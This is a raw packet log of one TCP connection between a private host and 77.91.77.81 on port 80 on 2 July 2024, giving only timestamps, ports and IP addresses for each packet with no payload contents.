Jul 2, 2024 04:13:06.792891026 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.792896032 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792898893 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.792908907 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792932987 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792937040 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.792943001 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792951107 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.792958021 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792968988 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792970896 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.792982101 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.793000937 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.793020964 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.793513060 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.793524981 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.793538094 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.793549061 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.793580055 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.793580055 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.793586969 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.793598890 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.793598890 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.793612003 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.793625116 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.793642998 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.793654919 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.794424057 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.794456959 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.794469118 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.794470072 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.794495106 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.794501066 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.794512987 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.794523954 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.794538975 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.794540882 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.794552088 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.794557095 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.794576883 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.794583082 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.794718027 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.794730902 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.794769049 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.794780970 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.794816017 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.794887066 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.794904947 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.794923067 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.794931889 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.794941902 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.794945955 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.794954062 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.794961929 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.794965982 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.794979095 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.794981003 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.794998884 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.795000076 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.795011044 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.795025110 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.795027971 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.795039892 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.795049906 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.795053959 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.795068979 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.795078039 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.795078993 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.795089960 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.795092106 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.795104027 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.795116901 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.795125008 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.795129061 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.795140028 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.795145035 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.795156002 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.795166969 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.795170069 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.795181036 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.795186996 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.795207977 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.795236111 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.825169086 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.825190067 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.825200081 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.825203896 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.825210094 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.825215101 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.825221062 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.825227022 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.825241089 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.825278997 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.825290918 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.825293064 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.825301886 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.825313091 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.825324059 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.825335026 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.825335026 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.825354099 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.825380087 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.857155085 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.857173920 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.857194901 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.857204914 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.857218981 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.857228994 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.857242107 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.857251883 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.857284069 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.857316971 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.857320070 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.857323885 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.857335091 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.857345104 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.857357025 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.857362032 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.857368946 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.857381105 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.857398987 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.857399940 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.857415915 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.857426882 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.857428074 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.857438087 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.857449055 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.857451916 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.857461929 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.857475042 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.857475042 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.857501030 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.857513905 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.887212038 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.887223005 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.887233019 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.887319088 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.887341022 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.887351990 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.887363911 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.887376070 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.887386084 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.887404919 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.887408018 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.887443066 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.888098955 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888149023 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.888149977 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888159990 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888195038 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.888258934 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888269901 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888278961 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888288975 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888299942 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888304949 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.888309956 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888323069 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888336897 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.888348103 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.888369083 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888376951 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.888380051 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888390064 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888400078 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.888401031 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888411045 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888421059 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888427019 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888427973 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.888427973 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.888437033 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.888437986 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888449907 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888458014 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.888474941 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888493061 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888499022 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.888518095 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.888535976 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888535976 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.888547897 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888557911 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888567924 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.888569117 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888581038 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888586998 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.888595104 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.888606071 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.888758898 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888770103 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888781071 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888792038 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888803005 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888804913 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.888818979 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888830900 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888832092 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.888840914 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888840914 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.888870001 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888875008 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.888880968 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.888881922 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888892889 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888905048 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888906002 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.888926029 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.888926029 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888935089 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.888937950 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888948917 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888958931 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888966084 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.888967037 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.888993025 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.889013052 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.889157057 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.889167070 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.889177084 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.889199972 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.889225960 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.889296055 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.889307022 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.889316082 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.889332056 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.889343977 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.889343977 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.889370918 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.889380932 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.889408112 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.889419079 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.889448881 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.889478922 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.889513969 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.889589071 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.889635086 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.889694929 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.889705896 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.889715910 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.889725924 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.889745951 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.889753103 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.889756918 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.889767885 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.889770031 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.889779091 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.889781952 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.889801979 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.889828920 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.889904022 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.889918089 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.889928102 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.889940023 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.889944077 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.889950991 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.889959097 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.889961958 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.889972925 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.889977932 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.889982939 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.889992952 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.890002966 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.890022039 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.890036106 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.919600010 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.919629097 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.919639111 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.919687033 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.919698954 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.919709921 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.919723988 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.919769049 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.919780016 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.919790030 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.919800997 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.919805050 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.919822931 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.919831991 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.919842005 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.919857025 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.919862032 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.919886112 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.919902086 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.951574087 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.951586008 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.951628923 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.951639891 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.951641083 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.951653004 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.951661110 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.951680899 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.951714039 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.951716900 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.951730967 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.951741934 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.951755047 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.951765060 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.951766014 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.951788902 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.951795101 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.951807976 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.951816082 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.951817989 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.951827049 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.951831102 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.951845884 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.951858044 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.951879025 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.951956034 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.951967001 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.951977015 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.951987028 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.951998949 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.952011108 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.952012062 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.952022076 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.952025890 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.952040911 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.952066898 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.952094078 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.952094078 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.981972933 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.981988907 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.982000113 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.982017994 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.982028008 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.982028961 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.982038021 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.982047081 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.982049942 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.982059956 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.982074976 CEST	54802	80	192.168.2.5	77.91.77.81
